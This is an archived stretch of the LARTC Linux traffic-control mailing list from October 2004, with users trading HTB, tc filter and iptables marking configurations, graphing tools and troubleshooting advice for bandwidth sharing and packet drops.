> [2] http://www.linpro.no/projects/munin/
> [3] http://trekweb.com/~jasonb/images/eth0-24-tc.png
> [4] http://trekweb.com/~jasonb/images/eth0-1-tc.png 
> 
> The aim is to graphically represent bandwidth utilization for each leaf class 
> to help diagnose issues with misclassification, performance, and for long 
> term profiling. 
> 
> The script is available[5] here.  The included README explains basic 
> configuration. 
> 
> [5] http://trekweb.com/~jasonb/code/polltc-1.0.tar.gz 
> 
> I hope someone else finds it useful. 
> 
> Comments welcome. 
> 
> --  
> 
> Jason Boxman
> Perl Programmer / *NIX Systems Administrator
> Shimberg Center for Affordable Housing | University of Florida
> http://edseek.com/ - Linux and FOSS stuff 
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
 


From emo terziev <foxy202@gmail.com>  Wed Oct 27 14:43:58 2004
From: emo terziev <foxy202@gmail.com> (emo terziev)
Date: Wed, 27 Oct 2004 16:43:58 +0300
Subject: [LARTC] graphics HTB
In-Reply-To: <200410261755.27501.Andreas.Klauer@metamorpher.de>
References: <a763a15b04102607164ab53460@mail.gmail.com>
 <200410261755.27501.Andreas.Klauer@metamorpher.de>
Message-ID: <a763a15b041027064377469944@mail.gmail.com>

hi Andreas,
how can i generate grafics from output file?
script dump one big one list ... this is only part of list


    "3:a390" -> "a390:" [style=bold,color=green];
    "3:a391" -> "a391:" [style=bold,color=green];
    "3:a392" -> "a392:" [style=bold,color=green];
    "3:a393" -> "a393:" [style=bold,color=green];
    "3:a394" -> "a394:" [style=bold,color=green];
    "3:a395" -> "a395:" [style=bold,color=green];
    "3:a396" -> "a396:" [style=bold,color=green];
    "3:a397" -> "a397:" [style=bold,color=green];
    "3:a398" -> "a398:" [style=bold,color=green];
    "3:a399" -> "a399:" [style=bold,color=green];
    "3:a400" -> "a400:" [style=bold,color=green];
    "3:a401" -> "a401:" [style=bold,color=green];
    "4:" -> "4:10" [style=bold,color=red];
    "4:10" -> "4:401" [color=black];
    "4:10" -> "4:d001" [color=black];
    "4:10" -> "4:d002" [color=black];
    "4:10" -> "4:d003" [color=black];



On Tue, 26 Oct 2004 17:55:27 +0200, Andreas Klauer
<andreas.klauer@metamorpher.de> wrote:
> Am Tuesday 26 October 2004 16:16 schrieb emo terziev:
> > Hi
> >   is it any tool like show.pl by Stef Coene to generate graph with
> > classes but for HTB
> 
> Based on show.pl:
> http://www.metamorpher.de/files/tc-graph.pl
> 
> Example graph:
> http://www.metamorpher.de/files/fairnat.png (big!)
> 
> Use at your own risk only, the script is known to cause kernel panics.
> 
> HTH
> Andreas
>

From Andreas.Klauer@metamorpher.de  Wed Oct 27 14:55:04 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Wed, 27 Oct 2004 15:55:04 +0200
Subject: [LARTC] graphics HTB
In-Reply-To: <a763a15b041027064377469944@mail.gmail.com>
References: <a763a15b04102607164ab53460@mail.gmail.com> <200410261755.27501.Andreas.Klauer@metamorpher.de> <a763a15b041027064377469944@mail.gmail.com>
Message-ID: <200410271555.04787.Andreas.Klauer@metamorpher.de>

Am Wednesday 27 October 2004 15:43 schrieb emo terziev:
> how can i generate grafics from output file?

The graphics itself are generated by GraphViz. In Gentoo, install it with 
'emerge graphviz'. If you have another distro, check if it provides a 
GraphViz package and install that. Otherwise you can download it directly 
from http://www.graphviz.org/

Example invocation:
~> tc-graph.pl > eth1.dot
~> dot -Tpng -o eth1.png eth1.dot

HTH
Andreas

From magin@giodental.com  Wed Oct 27 15:46:10 2004
From: magin@giodental.com (magin@giodental.com)
Date: Wed, 27 Oct 2004 16:46:10 +0200 (CEST)
Subject: [LARTC] Traffic Control Diagnostic Graphing Utility
Message-ID: <55745.80.58.15.43.1098888370.squirrel@80.58.15.43>

hi Jason, and thx for your perl script. but i can't do it work. I can't
use perl, so i feel myself an idiot :(

the script answer this error:

Use of uninitialized value in hash element at polltc_eth1 line 126.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Use of uninitialized value in hash element at polltc_eth1 line 159.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Use of uninitialized value in hash element at polltc_eth1 line 126.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Use of uninitialized value in hash element at polltc_eth1 line 126.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Use of uninitialized value in string eq at polltc_eth1 line 159.
Can't use an undefined value as an ARRAY reference at polltc_eth1 line 327.

the Line 126 is:
               $stats{ $id } = {
the line 159 is:
               if( $type eq "root" ) {
and the line 327 is:
               if( scalar( @{ $child_hash{ $foo } } ) > 0 ) {


TIA, Magin Lopez.






From magin@giodental.com  Wed Oct 27 19:33:57 2004
From: magin@giodental.com (magin@giodental.com)
Date: Wed, 27 Oct 2004 20:33:57 +0200 (CEST)
Subject: [LARTC] Traffic Control Diagnostic Graphing Utility
Message-ID: <1261.192.168.0.2.1098902037.squirrel@192.168.0.2>

hi jason, this is the output:

tc -s class show dev eth1

class htb 1:11 parent 1:1 prio 1 rate 40Kbit ceil 110Kbit burst 1650b
cburst 1739b
 Sent 1116054 bytes 6654 pkts (dropped 0, overlimits 0)
 lended: 6654 borrowed: 0 giants: 0
 tokens: 256479 ctokens: 98443

class htb 1:1 root rate 110Kbit ceil 110Kbit burst 1739b cburst 1739b
 Sent 493178799 bytes 2213090 pkts (dropped 0, overlimits 0)
 rate 6880bps 30pps
 lended: 1793498 borrowed: 0 giants: 0
 tokens: 97512 ctokens: 97512

class htb 1:10 parent 1:1 prio 0 rate 50Kbit ceil 110Kbit burst 1663b
cburst 1739b
 Sent 140 bytes 2 pkts (dropped 0, overlimits 0)
 lended: 2 borrowed: 0 giants: 0
 tokens: 204799 ctokens: 97512

class htb 1:13 parent 1:1 leaf 130: prio 2 rate 10Kbit ceil 110Kbit burst
1611b cburst 1739b
 rate 6887bps 30pps
 lended: 412936 borrowed: 1793498 giants: 0
 tokens: -1154560 ctokens: 97512

class htb 1:12 parent 1:1 leaf 120: prio 2 rate 10Kbit ceil 110Kbit burst
1611b cburst 1739b
 Sent 0 bytes 0 pkts (dropped 0, overlimits 0)
 lended: 0 borrowed: 0 giants: 0
 tokens: 1031680 ctokens: 101235

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

tc -s qdisc show dev eth1

qdisc sfq 130: quantum 1514b perturb 10sec
 Sent 495698153 bytes 2225223 pkts (dropped 506, overlimits 0)
 backlog 5p

qdisc sfq 120: quantum 1514b perturb 10sec
 Sent 0 bytes 0 pkts (dropped 0, overlimits 0)

qdisc htb 1: r2q 10 default 13 direct_packets_stat 0
 Sent 496814347 bytes 2231879 pkts (dropped 506, overlimits 347211)
backlog 5p

qdisc ingress ffff: ----------------
 Sent 1591565024 bytes 8913161 pkts (dropped 0, overlimits 0)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

That's all... many thanks for your help.

Magin

Jason, i tried to send this msg to your private mail account but your
server reject me >>>

Remote host said: 550 5.7.1 Rejected: 217.127.143.88 listed at
list.dsbl.org

is my IP in a black list? how can i remove it from this list ?





From karl@webmedianow.com  Wed Oct 27 20:41:31 2004
From: karl@webmedianow.com (Karl J Rink)
Date: Wed, 27 Oct 2004 12:41:31 -0700 (PDT)
Subject: [LARTC] throttle lan client only
Message-ID: <34601.66.185.167.94.1098906091.squirrel@66.185.167.94>

I have the below example working on tagging a "source" and throttling all
the clients for traffic control.  However, I need to throttle a specific
client on the lan side only.  The solution could be with or with out the
use of iptables, it doesn't matter.

this works:  eth0=wan eth1=lan
---------------------------------------------------------------------------
  ###############################################################
  # tag all incoming SYN packets through $DEV as mark value 1
  ###############################################################

  iptables --append PREROUTING --in-interface eth0 --table mangle \
            --protocol tcp --source download.fedora.redhat.com \
            --source-port 1:65535 \
            --jump MARK --set-mark 0x1

  ############################################################
  # install the ingress qdisc on the ingress interface
  ############################################################
  tc qdisc add dev eth0 handle ffff: ingress

  ############################################################
  # utilize ingress qdisc
  ############################################################
  tc filter add dev eth0 parent ffff: protocol ip prio 50 handle \
  0x1 fw police rate 1kbit burst 1500 mtu 9k drop flowid :0x1

---------------------------------------------------------------------------
I have tried several options, some of which were to simply add the
--destination option to the iptables statement.  Others are a mix of
experimental tc cmds.  I am not having success.

Any help would be most appreciated.
Thank You
--Karl




MailKey: GUINNESS

From George Alexandru Dragoi <waruiinu@gmail.com>  Thu Oct 28 11:20:00 2004
From: George Alexandru Dragoi <waruiinu@gmail.com> (George Alexandru Dragoi)
Date: Thu, 28 Oct 2004 13:20:00 +0300
Subject: [LARTC] Increase of rrdtool data when using Stef Coene's qos nice scripts.
Message-ID: <3063e504102803204a32030e@mail.gmail.com>

          Hello everyone,

I use the scripts from docum.org to manage the bandwith sharing and
traffic graphs. For every user i happen to use about 4 classes. The
/qos/rrds is a symlink to a directory which is in an ext3 fs. The
problem is that i now have over 32 000 files there (about 600
classes),  once in 5 minutes there is a lot of data to receive from
snmp and to write in so many files. The machine seems ok now, but i
expect to have 2000 classes in some future and i expect big troubble
because of so many files in that directory. I am intersted in a
solution for that. For now i'm thinking in using reiserfs4 which will
probably work ok when i'll have the double number of files, but i'm
sure more than that will create problems. I would like to know if any
of you tryed something else (maybe a mysql database) may solve the
problem.

Thanks in advance.

From kristiadi_himawan@dtp.net.id  Thu Oct 28 12:33:14 2004
From: kristiadi_himawan@dtp.net.id (Key)
Date: Thu, 28 Oct 2004 18:33:14 +0700
Subject: [LARTC] Some question
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl> <1096719182.415e9b4e445e3@163.10.0.84>
Message-ID: <028e01c4bce1$ea2a9820$15a02bca@gsd03>

Hi,

I have some question about HTB :

1. I read that HTB priority is only 8 level, from 0 to 7. So if i want to
give different priority
to more than 8 class, what should i do?

2. What happen if i have class eth0-2:10 with RULE=192.168.1.0/28 and
eth0-2:20 with RULE=192.168.1.1.
Ip address 192.168.1.1 will get both bandwidth from class id 2:20 and 2:10 ?
How about if i want ip address 192.168.1.1 only get bandwidth from class id
2:20 only?

Thanks for any help.




From eric@regit.org  Thu Oct 28 12:47:28 2004
From: eric@regit.org (Eric Leblond)
Date: Thu, 28 Oct 2004 13:47:28 +0200
Subject: [LARTC] Some question
In-Reply-To: <028e01c4bce1$ea2a9820$15a02bca@gsd03>
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl>
 <1096719182.415e9b4e445e3@163.10.0.84>
 <028e01c4bce1$ea2a9820$15a02bca@gsd03>
Message-ID: <1098964049.6164.2.camel@coati>

On Thu, 2004-10-28 at 18:33 +0700, Key wrote:
> Hi,
> 
> I have some question about HTB :
> 
> 1. I read that HTB priority is only 8 level, from 0 to 7. So if i want to
> give different priority
> to more than 8 class, what should i do?

It is a #define in htb source code in linux kernel tree. It can be
changed easily :
	TC_HTB_NUMPRIO
in 
	include/linux/pkt_sched.h

BR,
-- 
Eric Leblond <eric@regit.org>


From stef.coene@docum.org  Thu Oct 28 12:52:08 2004
From: stef.coene@docum.org (Stef Coene)
Date: Thu, 28 Oct 2004 13:52:08 +0200
Subject: [LARTC] Some question
In-Reply-To: <028e01c4bce1$ea2a9820$15a02bca@gsd03>
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl> <1096719182.415e9b4e445e3@163.10.0.84> <028e01c4bce1$ea2a9820$15a02bca@gsd03>
Message-ID: <200410281352.08870.stef.coene@docum.org>

On Thursday 28 October 2004 13:33, Key wrote:
> Hi,
>
> I have some question about HTB :
>
> 1. I read that HTB priority is only 8 level, from 0 to 7. So if i want to
> give different priority
> to more than 8 class, what should i do?
Nothing, except changing the source to support more :)

> 2. What happen if i have class eth0-2:10 with RULE=3D192.168.1.0/28 and
> eth0-2:20 with RULE=3D192.168.1.1.
> Ip address 192.168.1.1 will get both bandwidth from class id 2:20 and 2:10
> ? How about if i want ip address 192.168.1.1 only get bandwidth from class
> id 2:20 only?
Do you use?
=46irst match will classify the packet and no other filter will be checked.


Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From Andreas.Klauer@metamorpher.de  Thu Oct 28 13:00:38 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Thu, 28 Oct 2004 14:00:38 +0200
Subject: [LARTC] Some question
In-Reply-To: <028e01c4bce1$ea2a9820$15a02bca@gsd03>
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl> <1096719182.415e9b4e445e3@163.10.0.84> <028e01c4bce1$ea2a9820$15a02bca@gsd03>
Message-ID: <200410281400.38196.Andreas.Klauer@metamorpher.de>

Am Thursday 28 October 2004 13:33 schrieb Key:
> 1. I read that HTB priority is only 8 level, from 0 to 7. So if i want
> to give different priority to more than 8 class, what should i do?

8 levels is plenty. You must have a really, really unusual / complicated 
setup to require HTB prio at all, let alone more than 8 levels.

> Ip address 192.168.1.1 will get both bandwidth from class id 2:20 and
> 2:10 ?

Highly unlikely.

> How about if i want ip address 192.168.1.1 only get bandwidth 
> from class id 2:20 only?

Use filter prio to catch 192.168.1.1 before the 192.168.1.* rule.

HTH
Andreas

From George Alexandru Dragoi <waruiinu@gmail.com>  Thu Oct 28 13:01:37 2004
From: George Alexandru Dragoi <waruiinu@gmail.com> (George Alexandru Dragoi)
Date: Thu, 28 Oct 2004 15:01:37 +0300
Subject: [LARTC] Some question
In-Reply-To: <028e01c4bce1$ea2a9820$15a02bca@gsd03>
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl>
 <1096719182.415e9b4e445e3@163.10.0.84>
 <028e01c4bce1$ea2a9820$15a02bca@gsd03>
Message-ID: <3063e50410280501436404ef@mail.gmail.com>

On Thu, 28 Oct 2004 18:33:14 +0700, Key <kristiadi_himawan@dtp.net.id> wrote:
> Hi,
> 
> I have some question about HTB :
> 
> 1. I read that HTB priority is only 8 level, from 0 to 7. So if i want to
> give different priority
> to more than 8 class, what should i do?
> 
> 2. What happen if i have class eth0-2:10 with RULE=192.168.1.0/28 and
> eth0-2:20 with RULE=192.168.1.1.
> Ip address 192.168.1.1 will get both bandwidth from class id 2:20 and 2:10 ?
> How about if i want ip address 192.168.1.1 only get bandwidth from class id
> 2:20 only?

For 2:20 put a smaller number on its filter, because the filter
distribute traffic to qdisc atached to htb leaf classes.

> Thanks for any help.
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


-- 
Bla bla

From kristiadi_himawan@dtp.net.id  Thu Oct 28 13:05:34 2004
From: kristiadi_himawan@dtp.net.id (Key)
Date: Thu, 28 Oct 2004 19:05:34 +0700
Subject: [LARTC] Some question
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl> <1096719182.415e9b4e445e3@163.10.0.84> <028e01c4bce1$ea2a9820$15a02bca@gsd03> <200410281352.08870.stef.coene@docum.org>
Message-ID: <02d801c4bce6$6dc19680$15a02bca@gsd03>

Sometimes i have to face situation like that,
so how about if ip address 192.168.1.1 should get
bandwidth only from 2:20 and become first time to check,
configuring the prio?

----- Original Message ----- 
From: "Stef Coene" <stef.coene@docum.org>
To: <lartc@mailman.ds9a.nl>
Sent: Thursday, October 28, 2004 6:52 PM
Subject: Re: [LARTC] Some question


On Thursday 28 October 2004 13:33, Key wrote:
> Hi,
>
> I have some question about HTB :
>
> 1. I read that HTB priority is only 8 level, from 0 to 7. So if i want to
> give different priority
> to more than 8 class, what should i do?
Nothing, except changing the source to support more :)

> 2. What happen if i have class eth0-2:10 with RULE=192.168.1.0/28 and
> eth0-2:20 with RULE=192.168.1.1.
> Ip address 192.168.1.1 will get both bandwidth from class id 2:20 and 2:10
> ? How about if i want ip address 192.168.1.1 only get bandwidth from class
> id 2:20 only?
Do you use?
First match will classify the packet and no other filter will be checked.


Stef

-- 
stef.coene@docum.org
"Using Linux as bandwidth manager"
http://www.docum.org/
_______________________________________________
LARTC mailing list / LARTC@mailman.ds9a.nl
http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/


From dionut@tim.ro  Thu Oct 28 14:22:42 2004
From: dionut@tim.ro (Dumitrache Ionut)
Date: Thu, 28 Oct 2004 15:22:42 +0200
Subject: [LARTC] HTB is losing packets ?
Message-ID: <20041028130523.M82760@tim.ro>

Hello all,


   I have using htb for last 10-12 months to manage the bandwidth share. 
Until last month everything was ok, but now after a kernel upgrade (from 
2.4.20 to 2.4.26 because a kernel bug that generate a oops) the Linux router 
is droping packets. It is weird because the "tc -s class ls dev eth1" (in the 
class I monitor) reports no packet drop, the "tc -s qdisc ls dev eth1" 
reports no packet drop (in the qdisc attached to class I monitor) and even 
the "ifconfig" reports no packet drop. 
   My htb configuration consist of more than 150 classes with rates from 1.5 
kbps to 64 kbps and ceils from 8 kbps to 170 kbps. Every class have a sfq 
qdisc attached. The total bandwidth is 2 Mbps. All clases/qdisc are created 
using Stef Coene's QoS scripts. My hardware is a Dell PIV 2GHz with 512MB RAM 
and I use 2 eepro100 (Intel 82555 rev4) nics. 
   The same problem appear with 2.4.24, 2.6.8 kernels and with rtl8139 nics 
and all cables and switch ports changed.

Thanks.


 
  
--
TIMnet webmail (webmail.tim.ro)


From George Alexandru Dragoi <waruiinu@gmail.com>  Thu Oct 28 14:55:25 2004
From: George Alexandru Dragoi <waruiinu@gmail.com> (George Alexandru Dragoi)
Date: Thu, 28 Oct 2004 16:55:25 +0300
Subject: [LARTC] HTB is losing packets ?
In-Reply-To: <20041028130523.M82760@tim.ro>
References: <20041028130523.M82760@tim.ro>
Message-ID: <3063e504102806554614e97f@mail.gmail.com>

Well, similar things happened on a machine with 2.4.26, with about 300
classes (for 150 users with different cir/mir for metro/extern). I
remade the classes and i applyed fw filters instead of u32, and now it
works very well on 2.4.26.


On Thu, 28 Oct 2004 15:22:42 +0200, Dumitrache Ionut <dionut@tim.ro> wrote:
> 
> Hello all,
> 
>    I have using htb for last 10-12 months to manage the bandwidth share.
> Until last month everything was ok, but now after a kernel upgrade (from
> 2.4.20 to 2.4.26 because a kernel bug that generate a oops) the Linux router
> is droping packets. It is weird because the "tc -s class ls dev eth1" (in the
> class I monitor) reports no packet drop, the "tc -s qdisc ls dev eth1"
> reports no packet drop (in the qdisc attached to class I monitor) and even
> the "ifconfig" reports no packet drop.
>    My htb configuration consist of more than 150 classes with rates from 1.5
> kbps to 64 kbps and ceils from 8 kbps to 170 kbps. Every class have a sfq
> qdisc attached. The total bandwidth is 2 Mbps. All clases/qdisc are created
> using Stef Coene's QoS scripts. My hardware is a Dell PIV 2GHz with 512MB RAM
> and I use 2 eepro100 (Intel 82555 rev4) nics.
>    The same problem appear with 2.4.24, 2.6.8 kernels and with rtl8139 nics
> and all cables and switch ports changed.
> 
> Thanks.
> 
> --
> TIMnet webmail (webmail.tim.ro)
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


-- 
Bla bla

From dionut@tim.ro  Thu Oct 28 15:56:23 2004
From: dionut@tim.ro (Dumitrache Ionut)
Date: Thu, 28 Oct 2004 16:56:23 +0200
Subject: [LARTC] HTB is losing packets ?
In-Reply-To: <3063e504102806554614e97f@mail.gmail.com>
References: <20041028130523.M82760@tim.ro> <3063e504102806554614e97f@mail.gmail.com>
Message-ID: <20041028145221.M7183@tim.ro>

Hello,

    Thanks for the quick response George. I will switch to fw filters. I 
know, there are many advantages, but are the fw filters ok for massive 
classifing ? How many classes and how much bandwidth have you ?


Thanks again,
Ionut


From George Alexandru Dragoi <waruiinu@gmail.com>  Thu Oct 28 16:16:59 2004
From: George Alexandru Dragoi <waruiinu@gmail.com> (George Alexandru Dragoi)
Date: Thu, 28 Oct 2004 18:16:59 +0300
Subject: [LARTC] HTB is losing packets ?
In-Reply-To: <20041028145221.M7183@tim.ro>
References: <20041028130523.M82760@tim.ro>
 <3063e504102806554614e97f@mail.gmail.com>
 <20041028145221.M7183@tim.ro>
Message-ID: <3063e504102808164c981f0e@mail.gmail.com>

I have more than 600 classes, 4 classes per each client (down/up for
both metro/extern). I can't be sure if my problem got solved because i
switched to fw or because the htb trees got a little changed, i can
only say it works like a charm, for about 30mbit parent class,
mipclasses, 1700 routes written by bgp. The system is load at 20%
usually, and sometimes more when the rrdtool is doing his job. It is
true the machine is an Intel 3G with dual thread hehe :)


On Thu, 28 Oct 2004 16:56:23 +0200, Dumitrache Ionut <dionut@tim.ro> wrote:
> Hello,
> 
>     Thanks for the quick response George. I will switch to fw filters. I
> know, there are many advantages, but are the fw filters ok for massive
> classifing ? How many classes and how much bandwidth have you ?
> 
> Thanks again,
> Ionut
> 
> 


-- 
Bla bla

From dionut@tim.ro  Thu Oct 28 16:42:40 2004
From: dionut@tim.ro (Dumitrache Ionut)
Date: Thu, 28 Oct 2004 17:42:40 +0200
Subject: [LARTC] HTB is losing packets ?
In-Reply-To: <3063e504102808164c981f0e@mail.gmail.com>
References: <20041028130523.M82760@tim.ro> <3063e504102806554614e97f@mail.gmail.com> <20041028145221.M7183@tim.ro> <3063e504102808164c981f0e@mail.gmail.com>
Message-ID: <20041028154144.M52248@tim.ro>

Tnanks again. I will try to switch the filters :(((

Ionut

From leslie.polzer@gmx.net  Thu Oct 28 17:55:00 2004
From: leslie.polzer@gmx.net (Leslie Patrick Polzer)
Date: Thu, 28 Oct 2004 18:55:00 +0200
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
Message-ID: <41812464.8010207@gmx.net>

Hello,

I have a serious problem with HTB which I wasn't able to solve myself.

I run a masquerading router with ppp0 as interface to the Internet.
Three clients need to share a downstream of 1 MBit, which I want
to divide with tc.
When I see a packet being forwarded to one of these clients, I give
it the appropriate unique mark:

iptables -t mangle -A FORWARD -d 192.168.34.141 -j MARK --set-mark 1
iptables -t mangle -A FORWARD -d 192.168.34.140 -j MARK --set-mark 2
iptables -t mangle -A FORWARD -d 192.168.1.2 -j MARK --set-mark 3

Because it might be of interest: 192.168.34.0/24 is on network A
with 10 MBit, 192.168.1.0/24 is on network B with 100 MBit.

I then attach an IMQ device imq0 to the FORWARD table:

# delegate all incoming on ppp+ to imq0
iptables -t mangle -A FORWARD -i ppp+ -j IMQ --todev 0

After all this I create the actual tc setup:

# --- snip ---
# clear root qdisc
 tc qdisc del dev imq0 root

# add root qdisc (htb)
 tc qdisc add dev imq0 root handle 1: htb default 40

# add root class (needed for bandwidth borrowing)
 tc class add dev imq0 parent 1: classid 1:1 htb rate 1mbit ceil 1mbit

# set classes for users
 tc class add dev imq0 parent 1:1 classid 1:10 htb rate 333kbit ceil 1mbit \
        burst 15k
 tc class add dev imq0 parent 1:1 classid 1:20 htb rate 333kbit ceil 1mbit \
        burst 15k
 tc class add dev imq0 parent 1:1 classid 1:30 htb rate 333kbit ceil 1mbit \
        burst 15k
 tc class add dev imq0 parent 1:1 classid 1:40 htb rate 5kbps

# set filters to direct ips to their classes
 tc filter add dev imq0 protocol ip parent 1: prio 1 handle 1 fw flowid 1:10
 tc filter add dev imq0 protocol ip parent 1: prio 1 handle 2 fw flowid 1:20
 tc filter add dev imq0 protocol ip parent 1: prio 1 handle 3 fw flowid 1:30

# --- snap ---

1:40 is just for testing.

The 'rate'-argument gets applied correctly if I don't use ceil - but I 
do, of
course, want to let the classes borrow free bandwidth, so I use a ceiling
of 1 MBit. And herein lies the problem:

If 1:10 and 1:30 both download a file with full speed, 1:10 gets about
20kb/s (which is under its guaranteed bandwidth!) and 1:30 gets
90 kb/s. What is going wrong here? The shortened output of tc:

class htb 1:1 root rate 1Mbit ceil 1Mbit burst 2909b/8 mpu 0b cburst 
2909b/8 mpu 0b level 7
class htb 1:10 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
burst 15Kb/8 mpu 0b cburst
class htb 1:20 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
burst 15Kb/8 mpu 0b cburst
class htb 1:30 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit 
burst 15Kb/8 mpu 0b cburst
class htb 1:40 parent 1:1 prio 0 quantum 1000 rate 40Kbit ceil 40Kbit 
burst 1650b/8 mpu 0b cburst

...shows that each class is configured equal.

Any clues? I'd be very, very grateful if anyone could point out errors.
If more output is needed, just tell me.


Kind regards,

Leslie


From Saad S. B. Faruque" <faruque@gmail.com  Thu Oct 28 18:20:03 2004
From: Saad S. B. Faruque" <faruque@gmail.com (Saad S. B. Faruque)
Date: Thu, 28 Oct 2004 23:20:03 +0600
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
In-Reply-To: <41812464.8010207@gmx.net>
References: <41812464.8010207@gmx.net>
Message-ID: <1d7da3f404102810205d9c0b12@mail.gmail.com>

did u try it with sfq ?



On Thu, 28 Oct 2004 18:55:00 +0200, Leslie Patrick Polzer
<leslie.polzer@gmx.net> wrote:
> Hello,
> 
> I have a serious problem with HTB which I wasn't able to solve myself.
> 
> I run a masquerading router with ppp0 as interface to the Internet.
> Three clients need to share a downstream of 1 MBit, which I want
> to divide with tc.
> When I see a packet being forwarded to one of these clients, I give
> it the appropriate unique mark:
> 
> iptables -t mangle -A FORWARD -d 192.168.34.141 -j MARK --set-mark 1
> iptables -t mangle -A FORWARD -d 192.168.34.140 -j MARK --set-mark 2
> iptables -t mangle -A FORWARD -d 192.168.1.2 -j MARK --set-mark 3
> 
> Because it might be of interest: 192.168.34.0/24 is on network A
> with 10 MBit, 192.168.1.0/24 is on network B with 100 MBit.
> 
> I then attach an IMQ device imq0 to the FORWARD table:
> 
> # delegate all incoming on ppp+ to imq0
> iptables -t mangle -A FORWARD -i ppp+ -j IMQ --todev 0
> 
> After all this I create the actual tc setup:
> 
> # --- snip ---
> # clear root qdisc
>  tc qdisc del dev imq0 root
> 
> # add root qdisc (htb)
>  tc qdisc add dev imq0 root handle 1: htb default 40
> 
> # add root class (needed for bandwidth borrowing)
>  tc class add dev imq0 parent 1: classid 1:1 htb rate 1mbit ceil 1mbit
> 
> # set classes for users
>  tc class add dev imq0 parent 1:1 classid 1:10 htb rate 333kbit ceil 1mbit \
>         burst 15k
>  tc class add dev imq0 parent 1:1 classid 1:20 htb rate 333kbit ceil 1mbit \
>         burst 15k
>  tc class add dev imq0 parent 1:1 classid 1:30 htb rate 333kbit ceil 1mbit \
>         burst 15k
>  tc class add dev imq0 parent 1:1 classid 1:40 htb rate 5kbps
> 
> # set filters to direct ips to their classes
>  tc filter add dev imq0 protocol ip parent 1: prio 1 handle 1 fw flowid 1:10
>  tc filter add dev imq0 protocol ip parent 1: prio 1 handle 2 fw flowid 1:20
>  tc filter add dev imq0 protocol ip parent 1: prio 1 handle 3 fw flowid 1:30
> 
> # --- snap ---
> 
> 1:40 is just for testing.
> 
> The 'rate'-argument gets applied correctly if I don't use ceil - but I
> do, of
> course, want to let the classes borrow free bandwidth, so I use a ceiling
> of 1 MBit. And herein lies the problem:
> 
> If 1:10 and 1:30 both download a file with full speed, 1:10 gets about
> 20kb/s (which is under its guaranteed bandwidth!) and 1:30 gets
> 90 kb/s. What is going wrong here? The shortened output of tc:
> 
> class htb 1:1 root rate 1Mbit ceil 1Mbit burst 2909b/8 mpu 0b cburst
> 2909b/8 mpu 0b level 7
> class htb 1:10 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit
> burst 15Kb/8 mpu 0b cburst
> class htb 1:20 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit
> burst 15Kb/8 mpu 0b cburst
> class htb 1:30 parent 1:1 prio 0 quantum 4262 rate 333Kbit ceil 1Mbit
> burst 15Kb/8 mpu 0b cburst
> class htb 1:40 parent 1:1 prio 0 quantum 1000 rate 40Kbit ceil 40Kbit
> burst 1650b/8 mpu 0b cburst
> 
> ...shows that each class is configured equal.
> 
> Any clues? I'd be very, very grateful if anyone could point out errors.
> If more output is needed, just tell me.
> 
> Kind regards,
> 
> Leslie
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


-- 
Saad S. B. Faruque
MCSE, RHCT, CCNA
Head of NOC
MTL BD Ltd.

From zgiorgadze@gol.ge  Thu Oct 28 18:45:15 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Thu, 28 Oct 2004 21:45:15 +0400
Subject: [LARTC] HTB: Problem with excess bandwidth distribution
Message-ID: <20041028174516.1FB802D54CD@maile.online.ge>

Hello Leslie,
                             
I had the same problem for kernel 2.4.27 and it was related to bug in HTB.
Use kernel >=2.6.8.1 or apply patch from Devik's site
http://luxik.cdi.cz/~devik/qos/htb/v3/htbfair.diff.  

Best regards, 

Zviad
 
>Hello,
>
>I have a serious problem with HTB which I wasn't able to solve myself.
>
>I run a masquerading router with ppp0 as interface to the Internet.
>Three clients need to share a downstream of 1 MBit, which I want
>to divide with tc.
>When I see a packet being forwarded to one of these clients, I give
>it the appropriate unique mark:
>
>iptables -t mangle -A FORWARD -d 192.168.34.141 -j MARK --set-mark 1
>iptables -t mangle -A FORWARD -d 192.168.34.140 -j MARK --set-mark 2
>iptables -t mangle -A FORWARD -d 192.168.1.2 -j MARK --set-mark 3
>
>Because it might be of interest: 192.168.34.0/24 is on network A
>with 10 MBit, 192.168.1.0/24 is on network B with 100 MBit.
>
>I then attach an IMQ device imq0 to the FORWARD table:
>
